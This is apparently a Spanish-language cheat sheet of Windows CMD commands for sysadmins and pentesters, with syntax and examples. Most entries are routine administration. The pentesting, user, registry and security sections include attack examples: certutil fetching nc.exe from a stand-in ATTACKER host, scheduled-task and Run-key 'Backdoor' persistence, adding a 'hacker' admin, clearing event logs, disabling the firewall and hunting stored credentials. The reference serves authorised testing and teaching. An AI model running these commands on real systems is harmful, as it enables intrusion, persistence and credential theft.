⬛ CMD Reference
Comandos esenciales de Windows CMD para SysAdmins y Pentesters · GhostAcademy
74COMANDOS
11CATEGORÍAS
Sistema & Información
Información del sistema, versión de OS, hardware y variables de entorno
8 cmds
SINTAXIS
systeminfo [/S equipo] [/U usuario] [/P contraseña]
Muestra información completa del sistema: nombre del host, OS, versión, Build, arquitectura, RAM instalada, fecha de instalación, zona horaria y parches aplicados.
Ver ejemplo completo
EJEMPLO
systeminfo | findstr /C:"OS" /C:"RAM" /C:"System Boot"
SINTAXIS
ver
Muestra la versión exacta del sistema operativo Windows en uso. Rápido y sin necesidad de permisos adicionales.
Ver ejemplo completo
EJEMPLO
ver
SINTAXIS
hostname
Muestra el nombre NetBIOS del equipo. Fundamental en pentesting para identificar el objetivo y en scripts de administración para saber en qué máquina se ejecuta.
Ver ejemplo completo
EJEMPLO
hostname
SINTAXIS
set [variable=[valor]]
Lista todas las variables de entorno o define/modifica una. Útil para ver rutas, usuario actual, nombre del dominio, directorio TEMP y otras variables del sistema.
Ver ejemplo completo
EJEMPLO
set PATH set COMPUTERNAME set USERNAME
SINTAXIS
whoami [/all] [/priv] [/groups] [/user]
Muestra el usuario actual, dominio, SID, grupos y privilegios habilitados. Con /all es fundamental en pentesting para conocer el contexto de ejecución.
Ver ejemplo completo
EJEMPLO
whoami /all whoami /priv
SINTAXIS
date [/T]
time [/T]
Muestra la fecha y hora del sistema. Con /T solo muestra sin pedir confirmación. Útil en scripts de logging para estampar timestamps.
Ver ejemplo completo
EJEMPLO
echo Inicio: %date% %time% >> log.txt
SINTAXIS
wmic os get [propiedad]
Consulta WMI para obtener información detallada del sistema operativo: versión, arquitectura, build, última vez encendido y más. WMIC es el acceso a WMI desde CMD.
Ver ejemplo completo
EJEMPLO
wmic os get Caption,Version,BuildNumber,OSArchitecture /format:list
SINTAXIS
wmic computersystem get [propiedad]
Obtiene información del hardware: nombre del equipo, fabricante, modelo, RAM total, número de procesadores y tipo de dominio/grupo de trabajo.
Ver ejemplo completo
EJEMPLO
wmic computersystem get Name,Manufacturer,Model,TotalPhysicalMemory,Domain /format:list
Red & Conectividad
Diagnóstico, configuración de red, conexiones activas y escaneo básico
10 cmds
SINTAXIS
ipconfig [/all] [/release] [/renew] [/flushdns]
Muestra la configuración de red de todas las interfaces. /all incluye MAC, servidor DHCP, DNS y gateway. /flushdns limpia la caché DNS. Esencial en diagnóstico y pentesting.
Ver ejemplo completo
EJEMPLO
ipconfig /all ipconfig /flushdns ipconfig /displaydns
SINTAXIS
ping [host] [-n count] [-t] [-l size] [-a]
Envía paquetes ICMP para comprobar conectividad. -t envía de forma continua, -n define el número de paquetes, -a resuelve la IP a nombre de host, -l define el tamaño del paquete.
Ver ejemplo completo
EJEMPLO
ping -n 4 8.8.8.8 ping -t 192.168.1.1 ping -a 10.0.0.5
SINTAXIS
tracert [host] [-d] [-h max_saltos] [-w timeout]
Traza la ruta de paquetes hasta el destino mostrando cada salto (router) con su latencia. -d evita resolver nombres DNS (más rápido). Útil para diagnóstico de rutas.
Ver ejemplo completo
EJEMPLO
tracert -d 8.8.8.8 tracert google.com
SINTAXIS
netstat [-a] [-n] [-o] [-b] [-e] [-s]
Muestra conexiones TCP/UDP activas, puertos en escucha y estadísticas de red. -a muestra todas, -n no resuelve DNS, -o incluye PID del proceso, -b muestra el ejecutable.
Ver ejemplo completo
EJEMPLO
netstat -ano netstat -ano | findstr :80 netstat -ano | findstr ESTABLISHED
SINTAXIS
nslookup [host] [servidor_dns]
Consulta servidores DNS para resolver nombres a IP y viceversa. Sin argumentos abre modo interactivo. Permite especificar otro servidor DNS y consultar tipos de registro.
Ver ejemplo completo
EJEMPLO
nslookup google.com nslookup google.com 8.8.8.8 nslookup -type=MX microsoft.com
SINTAXIS
net view [\\equipo] [/domain[:dominio]]
Enumera equipos y recursos compartidos de la red o de un equipo específico. Muy usado en pentesting para descubrir hosts y shares en la red local.
Ver ejemplo completo
EJEMPLO
net view net view \\SERVER01 net view /domain:CORP
SINTAXIS
arp -a [ip] [-d] [-s ip mac]
Muestra y gestiona la tabla ARP (caché de resolución IP-MAC). -a muestra toda la tabla, -d elimina una entrada, -s añade una entrada estática. Usado en MITM y reconocimiento.
Ver ejemplo completo
EJEMPLO
arp -a arp -a 192.168.1.1 arp -d 192.168.1.5
SINTAXIS
route print [máscara] [/4] [/6]
Muestra la tabla de enrutamiento IP. PRINT lista las rutas activas, ADD añade una ruta, DELETE la elimina. Fundamental para entender el flujo de tráfico en la red.
Ver ejemplo completo
EJEMPLO
route print route print 0.0.0.0 route add 10.0.0.0 mask 255.0.0.0 192.168.1.1
SINTAXIS
netsh [contexto] [subcomando]
Herramienta de configuración de red completa: interfaces, firewall, WiFi, proxy, TCP/IP. También permite volcar y restaurar la configuración completa de red.
Ver ejemplo completo
EJEMPLO
netsh interface ip show config netsh wlan show profiles netsh wlan show profile name="WiFi" key=clear netsh advfirewall show allprofiles
SINTAXIS
telnet [host] [puerto]
Prueba conectividad TCP a un puerto concreto. Si conecta, el puerto está abierto. Debe habilitarse desde Características de Windows. Alternativa sin instalar nada: usar PowerShell.
Ver ejemplo completo
EJEMPLO
telnet 192.168.1.1 80 telnet smtp.gmail.com 587
Sistema de Archivos
Navegación, búsqueda, copia, comparación y gestión de archivos y directorios
10 cmds
SINTAXIS
dir [ruta] [/a] [/s] [/b] [/o] [/q] [/ah]
Lista el contenido de un directorio. /a muestra archivos ocultos y del sistema, /s busca en subdirectorios, /b formato simple (solo nombres), /ah solo ocultos, /q muestra propietario.
Ver ejemplo completo
EJEMPLO
dir /a /s C:\*.ps1 dir /ah C:\ dir /b /s C:\Users | findstr .config
SINTAXIS
cd [ruta]
cd ..
cd /d D:\
Cambia el directorio actual. cd .. sube un nivel, cd \ va a la raíz. /d cambia también la unidad. Soporta rutas relativas y absolutas.
Ver ejemplo completo
EJEMPLO
cd %USERPROFILE% cd /d C:\Windows\System32 cd ..\..
SINTAXIS
copy [src] [dst]
robocopy [src] [dst] [/E] [/MIR] [/LOG]
Copia archivos. COPY es básico, XCOPY copia árbol de directorios, ROBOCOPY es la herramienta avanzada: soporta reintentos, logging, exclusiones, modo espejo y copia en red.
Ver ejemplo completo
EJEMPLO
copy C:\file.txt D:\backup\ robocopy C:\Source D:\Dest /E /MIR /LOG:C:\backup.log xcopy C:\Config D:\Config /E /H /Y
SINTAXIS
move [src] [dst]
Mueve archivos o renombra directorios. Si origen y destino están en la misma unidad es instantáneo. Soporta wildcards para mover múltiples archivos.
Ver ejemplo completo
EJEMPLO
move C:\temp\*.log D:\logs\ move C:\OldName D:\NewName
SINTAXIS
del [archivo] [/f] [/s] [/q] [/a]
Elimina archivos. /f fuerza borrado de archivos de solo lectura, /s elimina en subdirectorios, /q no pide confirmación, /a:h elimina solo archivos ocultos. Sin papelera.
Ver ejemplo completo
EJEMPLO
del /f /s /q C:\Temp\*.* del /f /a:h C:\secret.txt
SINTAXIS
findstr [/i] [/r] [/s] [/n] "patrón" [archivo]
Busca texto en archivos. FINDSTR soporta expresiones regulares básicas (/r), búsqueda recursiva (/s), sin distinción de mayúsculas (/i) y muestra número de línea (/n). Es el grep de CMD.
Ver ejemplo completo
EJEMPLO
findstr /s /i "password" C:\inetpub\*.config findstr /i /r "\bpassw" *.txt findstr /n "error" C:\logs\app.log
SINTAXIS
attrib [+r|-r] [+h|-h] [+s|-s] [+a|-a] [archivo] [/s] [/d]
Muestra y modifica atributos de archivos: solo lectura (r), oculto (h), sistema (s), archivo (a). Usado para ocultar archivos maliciosos o revelar archivos del sistema.
Ver ejemplo completo
EJEMPLO
attrib C:\*.* /s /d attrib +h +s C:\backdoor.bat attrib -r -h C:\Windows\file.sys
SINTAXIS
tree [ruta] [/f] [/a]
Muestra la estructura de directorios en forma de árbol visual. /f incluye los archivos, /a usa caracteres ASCII en lugar de gráficos. Útil para documentar y explorar estructuras.
Ver ejemplo completo
EJEMPLO
tree C:\inetpub /f tree C:\ProgramData /f /a > estructura.txt
SINTAXIS
type [archivo]
more [archivo]
Muestra el contenido de archivos de texto. TYPE vuelca todo de golpe, MORE pagina el contenido (espacio para avanzar, q para salir). Equivalentes básicos de cat.
Ver ejemplo completo
EJEMPLO
type C:\Windows\System32\drivers\etc\hosts more C:\Windows\win.ini type credentials.txt | findstr /i pass
SINTAXIS
fc [/l] [/b] [/c] archivo1 archivo2
Compara el contenido de dos archivos. FC compara texto o binario (/b), COMP compara byte a byte. Útil para verificar integridad de configuraciones o detectar cambios.
Ver ejemplo completo
EJEMPLO
fc /l C:\config_orig.ini C:\config_current.ini fc /b C:\original.exe C:\modified.exe
Procesos & Servicios
Gestión de procesos en ejecución, servicios del sistema y tareas programadas
6 cmds
SINTAXIS
tasklist [/svc] [/v] [/fi "condición"] [/fo csv]
Lista todos los procesos activos con PID, nombre, uso de memoria y sesión. /svc muestra servicios asociados, /fi permite filtrar, /fo csv exporta en CSV. Equivale al Task Manager.
Ver ejemplo completo
EJEMPLO
tasklist /v tasklist /svc tasklist /fi "STATUS eq running" /fo csv tasklist /fi "IMAGENAME eq notepad.exe"
SINTAXIS
taskkill /PID [pid] [/F] [/T]
taskkill /IM [nombre.exe] [/F]
Termina procesos por PID o nombre. /F fuerza la terminación, /T mata el proceso y todos sus hijos. Equivale a kill en Linux. Requiere privilegios para procesos de otros usuarios.
Ver ejemplo completo
EJEMPLO
taskkill /IM notepad.exe /F taskkill /PID 4321 /F /T taskkill /F /IM chrome.exe
SINTAXIS
sc [query|start|stop|config|delete] [servicio]
Controla el Service Control Manager. Permite listar, iniciar, detener, configurar y eliminar servicios del sistema. Muestra estado detallado con sc query type= all.
Ver ejemplo completo
EJEMPLO
sc query type= all state= all sc stop Spooler sc start Spooler sc config MyService start= auto sc query Spooler
SINTAXIS
net start [servicio]
net stop [servicio]
Inicia o detiene servicios de Windows. Sin argumentos, net start lista los servicios actualmente en ejecución. Más sencillo que sc pero con menos control.
Ver ejemplo completo
EJEMPLO
net start net start Spooler net stop "Print Spooler"
SINTAXIS
schtasks /query [/fo LIST] [/v]
schtasks /create /tn [nombre] /tr [cmd] /sc [frecuencia]
Gestiona tareas programadas: listar, crear, eliminar, ejecutar. Muy usado en pentesting para establecer persistencia. /query /fo LIST /v muestra información completa.
Ver ejemplo completo
EJEMPLO
schtasks /query /fo LIST /v schtasks /create /tn "Backdoor" /tr C:\shell.exe /sc onlogon /ru SYSTEM schtasks /delete /tn "Backdoor" /F
SINTAXIS
wmic process [get|list|call]
Gestiona procesos mediante WMI. Permite listar con más detalle que tasklist, obtener ruta del ejecutable, línea de comandos con la que fue lanzado y crear procesos remotamente.
Ver ejemplo completo
EJEMPLO
wmic process get Name,ProcessId,CommandLine,ExecutablePath wmic process where Name='notepad.exe' call terminate wmic process where ProcessId=1234 get CommandLine
Usuarios & Grupos
Gestión de usuarios locales, grupos, contraseñas y permisos
5 cmds
SINTAXIS
net user [usuario] [contraseña] [/add] [/delete] [/active]
Gestiona cuentas de usuario locales: listar, crear, modificar, eliminar. Sin argumentos lista todos los usuarios. Requiere privilegios de administrador para crear/modificar.
Ver ejemplo completo
EJEMPLO
net user net user administrador net user hacker P@ssw0rd! /add net user hacker /active:yes net user hacker /delete
SINTAXIS
net localgroup [grupo] [usuario] [/add] [/delete]
Gestiona grupos locales y sus miembros. Permite crear grupos, añadir/quitar usuarios y listar membresías. Muy usado para elevar privilegios añadiendo usuarios a Administrators.
Ver ejemplo completo
EJEMPLO
net localgroup net localgroup Administrators net localgroup Administrators hacker /add net localgroup "Remote Desktop Users" hacker /add
SINTAXIS
net accounts [/maxpwage:days] [/minpwlen:length]
Muestra y modifica la política de contraseñas local: duración máxima, longitud mínima, historial, bloqueo de cuenta. Fundamental en auditorías de seguridad.
Ver ejemplo completo
EJEMPLO
net accounts net accounts /maxpwage:unlimited net accounts /minpwlen:0
SINTAXIS
runas /user:[dominio\usuario] [programa]
runas /savecred /user:[usuario] [programa]
Ejecuta un programa con credenciales de otro usuario. /savecred guarda las credenciales para usos futuros (sin volver a pedirlas). Equivalente básico de sudo en Windows.
Ver ejemplo completo
EJEMPLO
runas /user:CORP\Administrator cmd.exe runas /savecred /user:Administrator "cmd /c whoami > C:\out.txt"
SINTAXIS
icacls [ruta] [/grant usuario:(permisos)] [/deny] [/reset]
Muestra y modifica las ACL (listas de control de acceso) de archivos y directorios. Reemplaza a cacls. Imprescindible para auditar y configurar permisos de forma detallada.
Ver ejemplo completo
EJEMPLO
icacls C:\SecretFolder icacls C:\file.txt /grant Everyone:(F) icacls C:\Windows\Temp /grant "Everyone:(OI)(CI)F"
Registro de Windows
Consulta, modificación y exportación del registro de Windows desde CMD
4 cmds
SINTAXIS
reg query [clave] [/v nombre] [/s] [/f patrón]
Consulta claves y valores del registro. /v especifica un valor concreto, /s busca recursivamente, /f busca por patrón en nombres de claves o valores. Muy usado en reconocimiento.
Ver ejemplo completo
EJEMPLO
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKLM /f "password" /t REG_SZ /s
SINTAXIS
reg add [clave] /v [nombre] /t [tipo] /d [dato] [/f]
Añade o modifica claves y valores en el registro. /f fuerza sin pedir confirmación. Tipos: REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ. Muy usado para persistencia.
Ver ejemplo completo
EJEMPLO
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d C:\shell.exe /f
SINTAXIS
reg delete [clave] [/v nombre] [/f]
Elimina claves o valores del registro. Sin /v elimina toda la clave con sus subclaves. /f evita la confirmación. Usado para limpieza de persistencia o auditoría.
Ver ejemplo completo
EJEMPLO
reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /f reg delete HKLM\SOFTWARE\BadApp /f
SINTAXIS
reg export [clave] [archivo.reg]
reg import [archivo.reg]
Exporta una rama del registro a un archivo .reg (texto editable) o importa desde él. Ideal para backups, distribución de configuraciones y restauración.
Ver ejemplo completo
EJEMPLO
reg export HKLM\SOFTWARE\MyApp C:\backup_myapp.reg reg import C:\backup_myapp.reg
Seguridad & Auditoría
Eventos de seguridad, firewall, políticas y herramientas de auditoría
5 cmds
SINTAXIS
wevtutil qe [log] /c:[n] /f:text [/q:"XPath"]
Consulta y gestiona los registros de eventos de Windows. Permite leer, filtrar, exportar y limpiar logs de Security, System, Application. Alternativa a Event Viewer en CLI.
Ver ejemplo completo
EJEMPLO
wevtutil qe Security /c:20 /f:text wevtutil qe Security /q:"*[System[(EventID=4625)]]" /c:10 /f:text wevtutil cl System
SINTAXIS
netsh advfirewall firewall [show|add|delete] rule
Gestiona el firewall de Windows: ver reglas, añadir, eliminar, habilitar/deshabilitar. advfirewall es la versión moderna. Muy usado para abrir puertos o deshabilitar el firewall.
Ver ejemplo completo
EJEMPLO
netsh advfirewall show allprofiles netsh advfirewall firewall add rule name="Allow 4444" protocol=TCP dir=in localport=4444 action=allow netsh advfirewall set allprofiles state off
SINTAXIS
gpresult /r [/scope computer|user] [/h informe.html]
Muestra las políticas de grupo (GPO) aplicadas al equipo y al usuario actual. /r es el resumen rápido, /h genera informe HTML completo. Clave en auditorías de AD.
Ver ejemplo completo
EJEMPLO
gpresult /r gpresult /h C:\gpo_report.html gpresult /scope user /r
SINTAXIS
secedit /analyze /db [db] /cfg [plantilla]
Analiza y configura la seguridad del sistema comparando contra plantillas de seguridad. Permite exportar la configuración actual, analizar y aplicar políticas de seguridad.
Ver ejemplo completo
EJEMPLO
secedit /export /cfg C:\current_security.inf secedit /analyze /db C:\analysis.sdb /cfg C:\baseline.inf /log C:\analysis.log
SINTAXIS
cipher [/e] [/d] [/w:ruta] [ruta]
Gestiona el cifrado EFS de archivos y carpetas. /e cifra, /d descifra, /w:ruta sobreescribe el espacio libre del disco para borrado seguro (wipe). Muestra estado de cifrado.
Ver ejemplo completo
EJEMPLO
cipher /status C:\SecretFolder cipher /e C:\SecretFolder\*.docx cipher /w:C:\
Pentesting & Reconocimiento
Enumeración, reconocimiento y técnicas de post-explotación en entornos autorizados
8 cmds
SINTAXIS
net share [nombre=ruta] [/delete]
Lista o gestiona los recursos compartidos del equipo local. Sin argumentos muestra todos los shares activos incluyendo los administrativos (C$, IPC$, ADMIN$). Clave en reconocimiento SMB.
Ver ejemplo completo
EJEMPLO
net share net share C$ net use \\TARGET\C$ /user:admin P@ssw0rd
SINTAXIS
net use [letra:] [\\equipo\recurso] [contraseña] [/user]
Conecta o desconecta unidades de red. Permite montar shares remotos con credenciales alternativas. Muy usado en post-explotación para acceder a archivos de otros sistemas.
Ver ejemplo completo
EJEMPLO
net use Z: \\192.168.1.5\C$ P@ssword /user:CORP\admin net use \\TARGET\IPC$ "" /user:"" net use * /delete
SINTAXIS
for /L %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i
Escaneo de hosts activos en la red local mediante bucle de pings. Sin herramientas externas. Lento pero funciona en cualquier CMD. Redirigir salida a un archivo para procesar.
Ver ejemplo completo
EJEMPLO
for /L %i in (1,1,254) do @ping -n 1 -w 50 192.168.1.%i | findstr "TTL" && echo 192.168.1.%i >> hosts_activos.txt
SINTAXIS
reg query HKCU\...\Run
reg query HKLM\...\Run
Enumera los programas configurados para ejecutarse al inicio desde el registro. Técnica estándar para detectar malware y persistencia o para establecerla en pentesting autorizado.
Ver ejemplo completo
EJEMPLO
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
SINTAXIS
cmdkey /list
cmdkey /add:[host] /user:[usuario] /pass:[clave]
Gestiona las credenciales almacenadas en Windows Credential Manager. /list enumera todas las credenciales guardadas en el equipo. Fuente valiosa en post-explotación.
Ver ejemplo completo
EJEMPLO
cmdkey /list cmdkey /add:FILESERVER01 /user:CORP\admin /pass:P@ssword cmdkey /delete:FILESERVER01
SINTAXIS
dir /s /b [ruta] [*.ext]
Búsqueda recursiva de archivos por extensión o nombre. Técnica clave para encontrar archivos de configuración, credenciales, scripts y backups en sistemas comprometidos.
Ver ejemplo completo
EJEMPLO
dir /s /b C:\*.config 2>nul dir /s /b C:\*.xml | findstr /i pass 2>nul dir /s /b C:\Users\*.kdbx 2>nul dir /s /b \\.\C$ | findstr /i "password credential secret"
SINTAXIS
wmic qfe list [brief|full]
Lista los parches de seguridad instalados (QFE = Quick Fix Engineering). Muestra KB instalados y fechas. En pentesting se usa para identificar vulnerabilidades no parcheadas.
Ver ejemplo completo
EJEMPLO
wmic qfe list brief /format:table wmic qfe get HotFixID,InstalledOn | sort /r
SINTAXIS
certutil -urlcache -split -f [URL] [archivo]
Descarga archivos desde URLs usando certutil, herramienta nativa de Windows. Técnica Living-off-the-Land (LotL) muy usada para descargar herramientas sin PowerShell ni wget.
Ver ejemplo completo
EJEMPLO
certutil -urlcache -split -f http://ATTACKER/nc.exe C:\Windows\Temp\nc.exe certutil -encode input.exe output.b64 certutil -decode output.b64 decoded.exe
Scripting & Automatización
Batch scripting, variables, bucles, condicionales y redirección de salida
6 cmds
SINTAXIS
set VAR=valor
echo %VAR%
Define variables de entorno locales al script o sesión. ECHO muestra texto o el valor de variables. ECHO. imprime una línea en blanco. @ECHO OFF desactiva el eco de comandos.
Ver ejemplo completo
EJEMPLO
@echo off set SERVER=192.168.1.1 set LOG=C:\logs\script.log echo Conectando a %SERVER% >> %LOG% echo Fecha: %date% %time% >> %LOG%
SINTAXIS
if [not] [condición] (comando) [else (comando)]
Condicional en batch. Compara strings, números (EQU, NEQ, LSS, GTR), verifica existencia de archivos (exist) y compara errorlevel. ELSE debe estar en la misma línea.
Ver ejemplo completo
EJEMPLO
if exist C:\file.txt (echo Existe) else (echo No existe) if %ERRORLEVEL% NEQ 0 (echo Error en el paso anterior) if "%USERNAME%"=="admin" (echo Es admin)
SINTAXIS
for %v in (lista) do comando
for /L %i in (inicio,paso,fin) do ...
for /F "tokens" %v in (archivo) do ...
Bucle en CMD. /L itera números, /F parsea archivos o comandos (muy potente), /R recorre directorios. En scripts .bat usar %%v en lugar de %v.
Ver ejemplo completo
EJEMPLO
for /L %i in (1,1,10) do echo Línea %i for /F "tokens=1,2" %a in (users.txt) do net user %a %b for %f in (*.log) do findstr /i error %f
SINTAXIS
comando > archivo
comando >> archivo
comando1 | comando2
comando 2>nul
> redirige la salida sobreescribiendo, >> añade al final, | pasa la salida como entrada al siguiente comando, 2>nul suprime errores, 2>&1 combina stderr con stdout.
Ver ejemplo completo
EJEMPLO
dir > listado.txt ipconfig >> C:\logs\network.log tasklist | findstr chrome dir /s *.exe 2>nul | findstr /i malware
SINTAXIS
:etiqueta
goto :etiqueta
call :subfuncion
exit /b [código]
Control de flujo en scripts batch. GOTO salta a una etiqueta, CALL invoca otro script o subfunción del mismo script y retorna, EXIT /B sale del script con un código de retorno.
Ver ejemplo completo
EJEMPLO
@echo off call :check_admin goto :main :check_admin net session >nul 2>&1 || (echo Necesitas admin & exit /b 1) :main echo Ejecutando como admin
SINTAXIS
timeout /t [segundos] [/nobreak]
ping -n [n+1] 127.0.0.1 > nul
TIMEOUT pausa el script el número de segundos indicado (con interrupción por tecla). El truco del ping a localhost es el equivalente clásico a sleep en bash para versiones antiguas.
Ver ejemplo completo
EJEMPLO
timeout /t 30 /nobreak timeout /t 5 ping -n 11 127.0.0.1 > nul &REM pausa de ~10 segundos
Disco & Almacenamiento
Información de discos, particiones, sistema de archivos y utilidades de almacenamiento
4 cmds
SINTAXIS
diskpart
list disk
select disk N
list partition
Herramienta interactiva de gestión de discos y particiones. Permite crear, eliminar, formatear y redimensionar particiones. Se lanza solo y luego acepta subcomandos.
Ver ejemplo completo
EJEMPLO
diskpart list disk select disk 1 list partition create partition primary size=10240
SINTAXIS
wmic logicaldisk get [propiedades]
Muestra información de las unidades lógicas: tamaño total, espacio libre, sistema de archivos y tipo de unidad. Muy útil en scripts para comprobar espacio disponible.
Ver ejemplo completo
EJEMPLO
wmic logicaldisk get Caption,Size,FreeSpace,FileSystem,DriveType /format:table
SINTAXIS
chkdsk [unidad:] [/f] [/r] [/x]
Verifica la integridad del sistema de archivos y repara errores. /f corrige errores, /r localiza sectores defectuosos, /x desmonta la unidad antes de analizar. Puede requerir reinicio.
Ver ejemplo completo
EJEMPLO
chkdsk C: /f /r chkdsk D: /scan
SINTAXIS
fsutil [subcomando] [opciones]
Utilidad avanzada del sistema de archivos: ver estado de volúmenes, crear archivos de tamaño fijo (útil para pruebas), listar drives, verificar tipo de FS y gestionar quotas.
Ver ejemplo completo
EJEMPLO
fsutil volume diskfree C: fsutil file createnew C:\testfile.bin 1073741824 &REM crea fichero de 1GB fsutil fsinfo drives
Utilidades Esenciales
Herramientas del sistema de uso frecuente en administración y pentesting
8 cmds
SINTAXIS
cls
title [texto]
color [attr]
CLS limpia la pantalla de CMD. TITLE cambia el título de la ventana (útil en scripts para indicar estado). COLOR cambia los colores del terminal (fondo+texto en hexadecimal).
Ver ejemplo completo
EJEMPLO
cls title [*] Script de Backup - Ejecutando... color 0A &REM fondo negro, texto verde
SINTAXIS
start ["título"] [/b] [/wait] [/min] programa
Lanza un programa o comando en una nueva ventana o proceso. /b lanza sin ventana nueva, /wait espera a que termine, /min minimizado, /max maximizado. Permite lanzar URLs.
Ver ejemplo completo
EJEMPLO
start /b calc.exe start /wait msiexec /i app.msi /quiet start https://www.unfantasmaenelsistema.com start cmd /k "echo hola & pause"
SINTAXIS
shutdown [/s] [/r] [/h] [/t seg] [/m \\equipo]
Apaga, reinicia o hiberna el sistema local o remoto. /s apaga, /r reinicia, /h hiberna, /t define el tiempo de espera, /a aborta un shutdown pendiente, /m especifica equipo remoto.
Ver ejemplo completo
EJEMPLO
shutdown /r /t 60 /c "Reinicio programado" shutdown /s /m \\SERVER01 /t 0 shutdown /a
SINTAXIS
comando | clip
Redirige la salida de cualquier comando al portapapeles de Windows. Extremadamente útil para copiar IPs, rutas, listas de usuarios o cualquier output sin tener que seleccionarlo.
Ver ejemplo completo
EJEMPLO
ipconfig | clip whoami | clip dir /b C:\Users | clip
SINTAXIS
mstsc [/v:host[:puerto]] [/admin] [/f] [/w:ancho /h:alto]
Abre el cliente de Escritorio Remoto (RDP). /v especifica el host y puerto, /admin conecta en modo administrador (sesión 0), /f pantalla completa.
Ver ejemplo completo
EJEMPLO
mstsc /v:192.168.1.5 mstsc /v:SERVER01:3390 /admin /f
SINTAXIS
subst [letra:] [ruta]
subst letra: /d
Asocia una ruta de directorio a una letra de unidad virtual. Muy útil para acceder rápidamente a rutas largas o para scripts que esperan una unidad específica.
Ver ejemplo completo
EJEMPLO
subst X: C:\Users\admin\Projects\ClienteImportante subst subst X: /d
SINTAXIS
wmic startup list full
Lista todos los programas configurados para iniciarse automáticamente con el sistema, incluyendo la ubicación del registro o carpeta de inicio donde están registrados.
Ver ejemplo completo
EJEMPLO
wmic startup list full wmic startup get Caption,Command,Location,User /format:table
SINTAXIS
assoc [.ext[=[tipo]]]
ftype [tipo[=[cmd]]]]
ASSOC muestra o cambia la asociación de extensiones de archivo con tipos de archivo. FTYPE muestra el comando que se ejecuta para abrir un tipo de archivo. Útil para hijacking en pentest.
Ver ejemplo completo
EJEMPLO
assoc .txt assoc .js ftype txtfile assoc .badext=exefile &REM asociar extensión a ejecutable